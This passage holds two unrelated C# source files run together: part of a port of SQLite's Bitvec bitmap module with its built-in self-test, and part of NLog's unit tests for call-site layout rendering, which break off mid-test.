42537b60566f288167f1b5864a5435986838e3a3 ** ************************************************************************* */ //#include "sqliteInt.h" /* Size of the Bitvec structure in bytes. */ static int BITVEC_SZ = 512; /* Round the union size down to the nearest pointer boundary, since that's how ** it will be aligned within the Bitvec struct. */ //#define BITVEC_USIZE (((BITVEC_SZ-(3*sizeof(u32)))/sizeof(Bitvec*))*sizeof(Bitvec*)) static int BITVEC_USIZE = ( ( ( BITVEC_SZ - ( 3 * sizeof( u32 ) ) ) / 4 ) * 4 ); /* Type of the array "element" for the bitmap representation. ** Should be a power of 2, and ideally, evenly divide into BITVEC_USIZE. ** Setting this to the "natural word" size of your CPU may improve ** performance. */ //#define BITVEC_TELEM u8 //using BITVEC_TELEM = System.Byte; /* Size, in bits, of the bitmap element. */ //#define BITVEC_SZELEM 8 const int BITVEC_SZELEM = 8; /* Number of elements in a bitmap array. */ //#define BITVEC_NELEM (BITVEC_USIZE/sizeof(BITVEC_TELEM)) static int BITVEC_NELEM = (int)( BITVEC_USIZE / sizeof( BITVEC_TELEM ) ); /* Number of bits in the bitmap array. */ //#define BITVEC_NBIT (BITVEC_NELEM*BITVEC_SZELEM) static int BITVEC_NBIT = ( BITVEC_NELEM * BITVEC_SZELEM ); /* Number of u32 values in hash table. */ //#define BITVEC_NINT (BITVEC_USIZE/sizeof(u32)) static u32 BITVEC_NINT = (u32)( BITVEC_USIZE / sizeof( u32 ) ); /* Maximum number of entries in hash table before ** sub-dividing and re-hashing. */ //#define BITVEC_MXHASH (BITVEC_NINT/2) static int BITVEC_MXHASH = (int)( BITVEC_NINT / 2 ); /* Hashing function for the aHash representation. ** Empirical testing showed that the *37 multiplier ** (an arbitrary prime)in the hash function provided ** no fewer collisions than the no-op *1. */ //#define BITVEC_HASH(X) (((X)*1)%BITVEC_NINT) static u32 BITVEC_HASH( u32 X ) { return (u32)( ( ( X ) * 1 ) % BITVEC_NINT ); } static int BITVEC_NPTR = (int)( BITVEC_USIZE / 4 );//sizeof(Bitvec *)); /* ** A bitmap is an instance of the following structure. ** ** This bitmap records the existence of zero or more bits ** with values between 1 and iSize, inclusive. ** ** There are three possible representations of the bitmap. ** If iSize<=BITVEC_NBIT, then Bitvec.u.aBitmap[] is a straight ** bitmap. The least significant bit is bit 1. ** ** If iSize>BITVEC_NBIT and iDivisor==0 then Bitvec.u.aHash[] is ** a hash table that will hold up to BITVEC_MXHASH distinct values. ** ** Otherwise, the value i is redirected into one of BITVEC_NPTR ** sub-bitmaps pointed to by Bitvec.u.apSub[]. Each subbitmap ** handles up to iDivisor separate values of i. apSub[0] holds ** values between 1 and iDivisor. apSub[1] holds values between ** iDivisor+1 and 2*iDivisor. apSub[N] holds values between ** N*iDivisor+1 and (N+1)*iDivisor. Each subbitmap is normalized ** to hold deal with values between 1 and iDivisor. */ public class _u { public BITVEC_TELEM[] aBitmap = new byte[BITVEC_NELEM]; /* Bitmap representation */ public u32[] aHash = new u32[BITVEC_NINT]; /* Hash table representation */ public Bitvec[] apSub = new Bitvec[BITVEC_NPTR]; /* Recursive representation */ } public class Bitvec { public u32 iSize; /* Maximum bit index. Max iSize is 4,294,967,296. */ public u32 nSet; /* Number of bits that are set - only valid for aHash ** element. Max is BITVEC_NINT. For BITVEC_SZ of 512, ** this would be 125. */ public u32 iDivisor; /* Number of bits handled by each apSub[] entry. */ /* Should >=0 for apSub element. */ /* Max iDivisor is max(u32) / BITVEC_NPTR + 1. */ /* For a BITVEC_SZ of 512, this would be 34,359,739. */ public _u u = new _u(); public static implicit operator bool( Bitvec b ) { return ( b != null ); } }; /* ** Create a new bitmap object able to handle bits between 0 and iSize, ** inclusive. Return a pointer to the new object. Return NULL if ** malloc fails. */ static Bitvec sqlite3BitvecCreate( u32 iSize ) { Bitvec p; //Debug.Assert( sizeof(p)==BITVEC_SZ ); p = new Bitvec();//sqlite3MallocZero( sizeof(p) ); if ( p != null ) { p.iSize = iSize; } return p; } /* ** Check to see if the i-th bit is set. Return true or false. ** If p is NULL (if the bitmap has not been created) or if ** i is out of range, then return false. */ static int sqlite3BitvecTest( Bitvec p, u32 i ) { if ( p == null || i == 0 ) return 0; if ( i > p.iSize ) return 0; i--; while ( p.iDivisor != 0 ) { u32 bin = i / p.iDivisor; i = i % p.iDivisor; p = p.u.apSub[bin]; if ( null == p ) { return 0; } } if ( p.iSize <= BITVEC_NBIT ) { return ( ( p.u.aBitmap[i / BITVEC_SZELEM] & ( 1 << (int)( i & ( BITVEC_SZELEM - 1 ) ) ) ) != 0 ) ? 1 : 0; } else { u32 h = BITVEC_HASH( i++ ); while ( p.u.aHash[h] != 0 ) { if ( p.u.aHash[h] == i ) return 1; h = ( h + 1 ) % BITVEC_NINT; } return 0; } } /* ** Set the i-th bit. Return 0 on success and an error code if ** anything goes wrong. ** ** This routine might cause sub-bitmaps to be allocated. Failing ** to get the memory needed to hold the sub-bitmap is the only ** that can go wrong with an insert, assuming p and i are valid. ** ** The calling function must ensure that p is a valid Bitvec object ** and that the value for "i" is within range of the Bitvec object. ** Otherwise the behavior is undefined. */ static int sqlite3BitvecSet( Bitvec p, u32 i ) { u32 h; if ( p == null ) return SQLITE_OK; Debug.Assert( i > 0 ); Debug.Assert( i <= p.iSize ); i--; while ( ( p.iSize > BITVEC_NBIT ) && p.iDivisor != 0 ) { u32 bin = i / p.iDivisor; i = i % p.iDivisor; if ( p.u.apSub[bin] == null ) { p.u.apSub[bin] = sqlite3BitvecCreate( p.iDivisor ); //if ( p.u.apSub[bin] == null ) // return SQLITE_NOMEM; } p = p.u.apSub[bin]; } if ( p.iSize <= BITVEC_NBIT ) { p.u.aBitmap[i / BITVEC_SZELEM] |= (byte)( 1 << (int)( i & ( BITVEC_SZELEM - 1 ) ) ); return SQLITE_OK; } h = BITVEC_HASH( i++ ); /* if there wasn't a hash collision, and this doesn't */ /* completely fill the hash, then just add it without */ /* worring about sub-dividing and re-hashing. */ if ( 0 == p.u.aHash[h] ) { if ( p.nSet < ( BITVEC_NINT - 1 ) ) { goto bitvec_set_end; } else { goto bitvec_set_rehash; } } /* there was a collision, check to see if it's already */ /* in hash, if not, try to find a spot for it */ do { if ( p.u.aHash[h] == i ) return SQLITE_OK; h++; if ( h >= BITVEC_NINT ) h = 0; } while ( p.u.aHash[h] != 0 ); /* we didn't find it in the hash. h points to the first */ /* available free spot. check to see if this is going to */ /* make our hash too "full". */ bitvec_set_rehash: if ( p.nSet >= BITVEC_MXHASH ) { u32 j; int rc; u32[] aiValues = new u32[BITVEC_NINT];// = sqlite3StackAllocRaw(0, sizeof(p->u.aHash)); //if ( aiValues == null ) //{ // return SQLITE_NOMEM; //} //else { Buffer.BlockCopy( p.u.aHash, 0, aiValues, 0, aiValues.Length * ( sizeof( u32 ) ) );// memcpy(aiValues, p->u.aHash, sizeof(p->u.aHash)); p.u.apSub = new Bitvec[BITVEC_NPTR];//memset(p->u.apSub, 0, sizeof(p->u.apSub)); p.iDivisor = (u32)( ( p.iSize + BITVEC_NPTR - 1 ) / BITVEC_NPTR ); rc = sqlite3BitvecSet( p, i ); for ( j = 0; j < BITVEC_NINT; j++ ) { if ( aiValues[j] != 0 ) rc |= sqlite3BitvecSet( p, aiValues[j] ); } //sqlite3StackFree( null, aiValues ); return rc; } } bitvec_set_end: p.nSet++; p.u.aHash[h] = i; return SQLITE_OK; } /* ** Clear the i-th bit. ** ** pBuf must be a pointer to at least BITVEC_SZ bytes of temporary storage ** that BitvecClear can use to rebuilt its hash table. */ static void sqlite3BitvecClear( Bitvec p, u32 i, u32[] pBuf ) { if ( p == null ) return; Debug.Assert( i > 0 ); i--; while ( p.iDivisor != 0 ) { u32 bin = i / p.iDivisor; i = i % p.iDivisor; p = p.u.apSub[bin]; if ( null == p ) { return; } } if ( p.iSize <= BITVEC_NBIT ) { p.u.aBitmap[i / BITVEC_SZELEM] &= (byte)~( ( 1 << (int)( i & ( BITVEC_SZELEM - 1 ) ) ) ); } else { u32 j; u32[] aiValues = pBuf; Array.Copy( p.u.aHash, aiValues, p.u.aHash.Length );//memcpy(aiValues, p->u.aHash, sizeof(p->u.aHash)); p.u.aHash = new u32[aiValues.Length];// memset(p->u.aHash, 0, sizeof(p->u.aHash)); p.nSet = 0; for ( j = 0; j < BITVEC_NINT; j++ ) { if ( aiValues[j] != 0 && aiValues[j] != ( i + 1 ) ) { u32 h = BITVEC_HASH( aiValues[j] - 1 ); p.nSet++; while ( p.u.aHash[h] != 0 ) { h++; if ( h >= BITVEC_NINT ) h = 0; } p.u.aHash[h] = aiValues[j]; } } } } /* ** Destroy a bitmap object. Reclaim all memory used. */ static void sqlite3BitvecDestroy( ref Bitvec p ) { if ( p == null ) return; if ( p.iDivisor != 0 ) { u32 i; for ( i = 0; i < BITVEC_NPTR; i++ ) { sqlite3BitvecDestroy( ref p.u.apSub[i] ); } } //sqlite3_free( ref p ); } /* ** Return the value of the iSize parameter specified when Bitvec *p ** was created. */ static u32 sqlite3BitvecSize( Bitvec p ) { return p.iSize; } #if !SQLITE_OMIT_BUILTIN_TEST /* ** Let V[] be an array of unsigned characters sufficient to hold ** up to N bits. Let I be an integer between 0 and N. 0<=I<N. ** Then the following macros can be used to set, clear, or test ** individual bits within V. */ //#define SETBIT(V,I) V[I>>3] |= (1<<(I&7)) static void SETBIT( byte[] V, int I ) { V[I >> 3] |= (byte)( 1 << ( I & 7 ) ); } //#define CLEARBIT(V,I) V[I>>3] &= ~(1<<(I&7)) static void CLEARBIT( byte[] V, int I ) { V[I >> 3] &= (byte)~( 1 << ( I & 7 ) ); } //#define TESTBIT(V,I) (V[I>>3]&(1<<(I&7)))!=0 static int TESTBIT( byte[] V, int I ) { return ( V[I >> 3] & ( 1 << ( I & 7 ) ) ) != 0 ? 1 : 0; } /* ** This routine runs an extensive test of the Bitvec code. ** ** The input is an array of integers that acts as a program ** to test the Bitvec. The integers are opcodes followed ** by 0, 1, or 3 operands, depending on the opcode. Another ** opcode follows immediately after the last operand. ** ** There are 6 opcodes numbered from 0 through 5. 0 is the ** "halt" opcode and causes the test to end. ** ** 0 Halt and return the number of errors ** 1 N S X Set N bits beginning with S and incrementing by X ** 2 N S X Clear N bits beginning with S and incrementing by X ** 3 N Set N randomly chosen bits ** 4 N Clear N randomly chosen bits ** 5 N S X Set N bits from S increment X in array only, not in bitvec ** ** The opcodes 1 through 4 perform set and clear operations are performed ** on both a Bitvec object and on a linear array of bits obtained from malloc. ** Opcode 5 works on the linear array only, not on the Bitvec. ** Opcode 5 is used to deliberately induce a fault in order to ** confirm that error detection works. ** ** At the conclusion of the test the linear array is compared ** against the Bitvec object. If there are any differences, ** an error is returned. If they are the same, zero is returned. ** ** If a memory allocation error occurs, return -1. */ static int sqlite3BitvecBuiltinTest( u32 sz, int[] aOp ) { Bitvec pBitvec = null; byte[] pV = null; int rc = -1; int i, nx, pc, op; u32[] pTmpSpace; /* Allocate the Bitvec to be tested and a linear array of ** bits to act as the reference */ pBitvec = sqlite3BitvecCreate( sz ); pV = sqlite3_malloc( (int)( sz + 7 ) / 8 + 1 ); pTmpSpace = new u32[BITVEC_SZ];// sqlite3_malloc( BITVEC_SZ ); if ( pBitvec == null || pV == null || pTmpSpace == null ) goto bitvec_end; Array.Clear( pV, 0, (int)( sz + 7 ) / 8 + 1 );// memset( pV, 0, ( sz + 7 ) / 8 + 1 ); /* NULL pBitvec tests */ sqlite3BitvecSet( null, (u32)1 ); sqlite3BitvecClear( null, 1, pTmpSpace ); /* Run the program */ pc = 0; while ( ( op = aOp[pc] ) != 0 ) { switch ( op ) { case 1: case 2: case 5: { nx = 4; i = aOp[pc + 2] - 1; aOp[pc + 2] += aOp[pc + 3]; break; } case 3: case 4: default: { nx = 2; i64 i64Temp = 0; sqlite3_randomness( sizeof( i64 ), ref i64Temp ); i = (int)i64Temp; break; } } if ( ( --aOp[pc + 1] ) > 0 ) nx = 0; pc += nx; i = (int)( ( i & 0x7fffffff ) % sz ); if ( ( op & 1 ) != 0 ) { SETBIT( pV, ( i + 1 ) ); if ( op != 5 ) { if ( sqlite3BitvecSet( pBitvec, (u32)i + 1 ) != 0 ) goto bitvec_end; } } else { CLEARBIT( pV, ( i + 1 ) ); sqlite3BitvecClear( pBitvec, (u32)i + 1, pTmpSpace ); } } /* Test to make sure the linear array exactly matches the ** Bitvec object. Start with the assumption that they do ** match (rc==0). Change rc to non-zero if a discrepancy ** is found. */ rc = sqlite3BitvecTest( null, 0 ) + sqlite3BitvecTest( pBitvec, sz + 1 ) + sqlite3BitvecTest( pBitvec, 0 ) + (int)( sqlite3BitvecSize( pBitvec ) - sz ); for ( i = 1; i <= sz; i++ ) { if ( ( TESTBIT( pV, i ) ) != sqlite3BitvecTest( pBitvec, (u32)i ) ) { rc = i; break; } } /* Free allocated structure */ bitvec_end: //sqlite3_free( ref pTmpSpace ); //sqlite3_free( ref pV ); sqlite3BitvecDestroy( ref pBitvec ); return rc; } #endif //* SQLITE_OMIT_BUILTIN_TEST */ } }
// // Copyright (c) 2004-2016 Jaroslaw Kowalski <jaak@jkowalski.net>, Kim Christensen, Julian Verdurmen // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions // are met: // // * Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // * Neither the name of Jaroslaw Kowalski nor the names of its // contributors may be used to endorse or promote products derived from this // software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF // THE POSSIBILITY OF SUCH DAMAGE. // using NLog.Config; using NLog.Internal; using NLog.Layouts; using NLog.Targets; using System.Runtime.CompilerServices; namespace NLog.UnitTests.LayoutRenderers { using System; using System.IO; using System.Reflection; using System.Threading; using System.Threading.Tasks; using Xunit; public class CallSiteTests : NLogTestBase { #if !SILVERLIGHT [Fact] public void HiddenAssemblyTest() { const string code = @" namespace Foo { public class HiddenAssemblyLogger { public void LogDebug(NLog.Logger logger) { logger.Debug(""msg""); } } } "; var provider = new Microsoft.CSharp.CSharpCodeProvider(); var parameters = new System.CodeDom.Compiler.CompilerParameters(); // reference the NLog dll parameters.ReferencedAssemblies.Add("NLog.dll"); // the assembly should be generated in memory parameters.GenerateInMemory = true; // generate a dll instead of an executable parameters.GenerateExecutable = false; // compile code and generate assembly System.CodeDom.Compiler.CompilerResults results = provider.CompileAssemblyFromSource(parameters, code); Assert.False(results.Errors.HasErrors, "Compiler errors: " + string.Join(";", results.Errors)); // create nlog configuration LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite} ${message}' /></targets> <rules> <logger name='*' minlevel='Debug' writeTo='debug' /> </rules> </nlog>"); // create logger Logger logger = LogManager.GetLogger("A"); // load HiddenAssemblyLogger type Assembly compiledAssembly = results.CompiledAssembly; Type hiddenAssemblyLoggerType = compiledAssembly.GetType("Foo.HiddenAssemblyLogger"); Assert.NotNull(hiddenAssemblyLoggerType); // load methodinfo MethodInfo logDebugMethod = hiddenAssemblyLoggerType.GetMethod("LogDebug"); Assert.NotNull(logDebugMethod); // instantiate the HiddenAssemblyLogger from previously generated assembly object instance = Activator.CreateInstance(hiddenAssemblyLoggerType); // Add the previously generated assembly to the "blacklist" LogManager.AddHiddenAssembly(compiledAssembly); // call the log method logDebugMethod.Invoke(instance, new object[] { logger }); MethodBase currentMethod = MethodBase.GetCurrentMethod(); AssertDebugLastMessage("debug", currentMethod.DeclaringType.FullName + "." + currentMethod.Name + " msg"); } #endif #if !SILVERLIGHT #if MONO [Fact(Skip="Not working under MONO - not sure if unit test is wrong, or the code")] #else [Fact] #endif public void LineNumberTest() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite:filename=true} ${message}' /></targets> <rules> <logger name='*' minlevel='Debug' writeTo='debug' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("A"); #if !NET4_5 && !MONO #line 100000 #endif logger.Debug("msg"); var linenumber = GetPrevLineNumber(); string lastMessage = GetDebugLastMessage("debug"); // There's a difference in handling line numbers between .NET and Mono // We're just interested in checking if it's above 100000 Assert.True(lastMessage.IndexOf("callsitetests.cs:" + linenumber, StringComparison.OrdinalIgnoreCase) >= 0, "Invalid line number. Expected prefix of 10000, got: " + lastMessage); #if !NET4_5 && !MONO #line default #endif } #endif [Fact] public void MethodNameTest() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite} ${message}' /></targets> <rules> <logger name='*' minlevel='Debug' writeTo='debug' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("A"); logger.Debug("msg"); MethodBase currentMethod = MethodBase.GetCurrentMethod(); AssertDebugLastMessage("debug", currentMethod.DeclaringType.FullName + "." + currentMethod.Name + " msg"); } [Fact] public void MethodNameInChainTest() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets> <target name='debug' type='Debug' layout='${message}' /> <target name='debug2' type='Debug' layout='${callsite} ${message}' /> </targets> <rules> <logger name='*' minlevel='Debug' writeTo='debug,debug2' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("A"); logger.Debug("msg2"); MethodBase currentMethod = MethodBase.GetCurrentMethod(); AssertDebugLastMessage("debug2", currentMethod.DeclaringType.FullName + "." + currentMethod.Name + " msg2"); } [Fact] public void ClassNameTest() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite:classname=true:methodname=false} ${message}' /></targets> <rules> <logger name='*' minlevel='Debug' writeTo='debug' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("A"); logger.Debug("msg"); MethodBase currentMethod = MethodBase.GetCurrentMethod(); AssertDebugLastMessage("debug", currentMethod.DeclaringType.FullName + " msg"); } [Fact] public void ClassNameWithPaddingTestPadLeftAlignLeftTest() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite:classname=true:methodname=false:padding=3:fixedlength=true} ${message}' /></targets> <rules> <logger name='*' minlevel='Debug' writeTo='debug' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("A"); logger.Debug("msg"); MethodBase currentMethod = MethodBase.GetCurrentMethod(); AssertDebugLastMessage("debug", currentMethod.DeclaringType.FullName.Substring(0, 3) + " msg"); } [Fact] public void ClassNameWithPaddingTestPadLeftAlignRightTest() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite:classname=true:methodname=false:padding=3:fixedlength=true:alignmentOnTruncation=right} ${message}' /></targets> <rules> <logger name='*' minlevel='Debug' writeTo='debug' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("A"); logger.Debug("msg"); MethodBase currentMethod = MethodBase.GetCurrentMethod(); var typeName = currentMethod.DeclaringType.FullName; AssertDebugLastMessage("debug", typeName.Substring(typeName.Length - 3) + " msg"); } [Fact] public void ClassNameWithPaddingTestPadRightAlignLeftTest() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite:classname=true:methodname=false:padding=-3:fixedlength=true:alignmentOnTruncation=left} ${message}' /></targets> <rules> <logger name='*' minlevel='Debug' writeTo='debug' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("A"); logger.Debug("msg"); MethodBase currentMethod = MethodBase.GetCurrentMethod(); AssertDebugLastMessage("debug", currentMethod.DeclaringType.FullName.Substring(0, 3) + " msg"); } [Fact] public void ClassNameWithPaddingTestPadRightAlignRightTest() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite:classname=true:methodname=false:padding=-3:fixedlength=true:alignmentOnTruncation=right} ${message}' /></targets> <rules> <logger name='*' minlevel='Debug' writeTo='debug' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("A"); logger.Debug("msg"); MethodBase currentMethod = MethodBase.GetCurrentMethod(); var typeName = currentMethod.DeclaringType.FullName; AssertDebugLastMessage("debug", typeName.Substring(typeName.Length - 3) + " msg"); } [Fact] public void MethodNameWithPaddingTestPadLeftAlignLeftTest() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite:classname=false:methodname=true:padding=16:fixedlength=true} ${message}' /></targets> <rules> <logger name='*' minlevel='Debug' writeTo='debug' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("A"); logger.Debug("msg"); AssertDebugLastMessage("debug", "MethodNameWithPa msg"); } [Fact] public void MethodNameWithPaddingTestPadLeftAlignRightTest() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite:classname=false:methodname=true:padding=16:fixedlength=true:alignmentOnTruncation=right} ${message}' /></targets> <rules> <logger name='*' minlevel='Debug' writeTo='debug' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("A"); logger.Debug("msg"); AssertDebugLastMessage("debug", "ftAlignRightTest msg"); } [Fact] public void MethodNameWithPaddingTestPadRightAlignLeftTest() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite:classname=false:methodname=true:padding=-16:fixedlength=true:alignmentOnTruncation=left} ${message}' /></targets> <rules> <logger name='*' minlevel='Debug' writeTo='debug' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("A"); logger.Debug("msg"); AssertDebugLastMessage("debug", "MethodNameWithPa msg"); } [Fact] public void MethodNameWithPaddingTestPadRightAlignRightTest() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite:classname=false:methodname=true:padding=-16:fixedlength=true:alignmentOnTruncation=right} ${message}' /></targets> <rules> <logger name='*' minlevel='Debug' writeTo='debug' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("A"); logger.Debug("msg"); AssertDebugLastMessage("debug", "htAlignRightTest msg"); } [Fact] public void GivenSkipFrameNotDefined_WhenLogging_ThenLogFirstUserStackFrame() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite} ${message}' /></targets> <rules> <logger name='*' minlevel='Debug' writeTo='debug' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("A"); logger.Debug("msg"); AssertDebugLastMessage("debug", "NLog.UnitTests.LayoutRenderers.CallSiteTests.GivenSkipFrameNotDefined_WhenLogging_ThenLogFirstUserStackFrame msg"); } [Fact] public void GivenOneSkipFrameDefined_WhenLogging_ShouldSkipOneUserStackFrame() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite:skipframes=1} ${message}' /></targets> <rules> <logger name='*' minlevel='Debug' writeTo='debug' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("A"); Action action = () => logger.Debug("msg"); action.Invoke(); AssertDebugLastMessage("debug", "NLog.UnitTests.LayoutRenderers.CallSiteTests.GivenOneSkipFrameDefined_WhenLogging_ShouldSkipOneUserStackFrame msg"); } #if MONO [Fact(Skip="Not working under MONO - not sure if unit test is wrong, or the code")] #else [Fact] #endif public void CleanMethodNamesOfAnonymousDelegatesTest() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite:ClassName=false:CleanNamesOfAnonymousDelegates=true}' /></targets> <rules> <logger name='*' levels='Fatal' writeTo='debug' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("A"); bool done = false; ThreadPool.QueueUserWorkItem( state => { logger.Fatal("message"); done = true; }, null); while (done == false) { Thread.Sleep(10); } if (done == true) { AssertDebugLastMessage("debug", "CleanMethodNamesOfAnonymousDelegatesTest"); } } #if MONO [Fact(Skip="Not working under MONO - not sure if unit test is wrong, or the code")] #else [Fact] #endif public void DontCleanMethodNamesOfAnonymousDelegatesTest() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite:ClassName=false:CleanNamesOfAnonymousDelegates=false}' /></targets> <rules> <logger name='*' levels='Fatal' writeTo='debug' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("A"); bool done = false; ThreadPool.QueueUserWorkItem( state => { logger.Fatal("message"); done = true; }, null); while (done == false) { Thread.Sleep(10); } if (done == true) { string lastMessage = GetDebugLastMessage("debug"); Assert.True(lastMessage.StartsWith("<DontCleanMethodNamesOfAnonymousDelegatesTest>")); } } #if MONO [Fact(Skip="Not working under MONO - not sure if unit test is wrong, or the code")] #else [Fact] #endif public void CleanClassNamesOfAnonymousDelegatesTest() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite:ClassName=true:MethodName=false:CleanNamesOfAnonymousDelegates=true}' /></targets> <rules> <logger name='*' levels='Fatal' writeTo='debug' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("A"); bool done = false; ThreadPool.QueueUserWorkItem( state => { logger.Fatal("message"); done = true; }, null); while (done == false) { Thread.Sleep(10); } if (done == true) { AssertDebugLastMessage("debug", "NLog.UnitTests.LayoutRenderers.CallSiteTests"); } } #if MONO [Fact(Skip="Not working under MONO - not sure if unit test is wrong, or the code")] #else [Fact] #endif public void DontCleanClassNamesOfAnonymousDelegatesTest() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite:ClassName=true:MethodName=false:CleanNamesOfAnonymousDelegates=false}' /></targets> <rules> <logger name='*' levels='Fatal' writeTo='debug' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("A"); bool done = false; ThreadPool.QueueUserWorkItem( state => { logger.Fatal("message"); done = true; }, null); while (done == false) { Thread.Sleep(10); } if (done == true) { string lastMessage = GetDebugLastMessage("debug"); Assert.True(lastMessage.Contains("+<>")); } } [Fact] public void When_Wrapped_Ignore_Wrapper_Methods_In_Callstack() { //namespace en name of current method const string currentMethodFullName = "NLog.UnitTests.LayoutRenderers.CallSiteTests.When_Wrapped_Ignore_Wrapper_Methods_In_Callstack"; LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite}|${message}' /></targets> <rules> <logger name='*' levels='Warn' writeTo='debug' /> </rules> </nlog>"); var logger = LogManager.GetLogger("A"); logger.Warn("direct"); AssertDebugLastMessage("debug", string.Format("{0}|direct", currentMethodFullName)); LoggerTests.BaseWrapper wrappedLogger = new LoggerTests.MyWrapper(); wrappedLogger.Log("wrapped"); AssertDebugLastMessage("debug", string.Format("{0}|wrapped", currentMethodFullName)); } [Fact] public void CheckStackTraceUsageForTwoRules() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets> <target name='debug' type='Debug' layout='${message}' /> <target name='debug2' type='Debug' layout='${callsite} ${message}' /> </targets> <rules> <logger name='*' minlevel='Debug' writeTo='debug' /> <logger name='*' minlevel='Debug' writeTo='debug2' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("A"); logger.Debug("msg"); AssertDebugLastMessage("debug2", "NLog.UnitTests.LayoutRenderers.CallSiteTests.CheckStackTraceUsageForTwoRules msg"); } [Fact] public void CheckStackTraceUsageForTwoRules_chained() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets> <target name='debug' type='Debug' layout='${message}' /> <target name='debug2' type='Debug' layout='${callsite} ${message}' /> </targets> <rules> <logger name='*' minlevel='Debug' writeTo='debug' /> <logger name='*' minlevel='Debug' writeTo='debug,debug2' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("A"); logger.Debug("msg"); AssertDebugLastMessage("debug2", "NLog.UnitTests.LayoutRenderers.CallSiteTests.CheckStackTraceUsageForTwoRules_chained msg"); } [Fact] public void CheckStackTraceUsageForMultipleRules() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets> <target name='debug' type='Debug' layout='${message}' /> <target name='debug2' type='Debug' layout='${callsite} ${message}' /> </targets> <rules> <logger name='*' minlevel='Debug' writeTo='debug' /> <logger name='*' minlevel='Debug' writeTo='debug' /> <logger name='*' minlevel='Debug' writeTo='debug,debug2' /> <logger name='*' minlevel='Debug' writeTo='debug' /> </rules> </nlog>"); ILogger logger = LogManager.GetLogger("A"); logger.Debug("msg"); AssertDebugLastMessage("debug2", "NLog.UnitTests.LayoutRenderers.CallSiteTests.CheckStackTraceUsageForMultipleRules msg"); } #region Compositio unit test [Fact] public void When_WrappedInCompsition_Ignore_Wrapper_Methods_In_Callstack() { //namespace en name of current method const string currentMethodFullName = "NLog.UnitTests.LayoutRenderers.CallSiteTests.When_WrappedInCompsition_Ignore_Wrapper_Methods_In_Callstack"; LogManager.Configuration = CreateConfigurationFromString(@" <nlog> <targets><target name='debug' type='Debug' layout='${callsite}|${message}' /></targets> <rules> 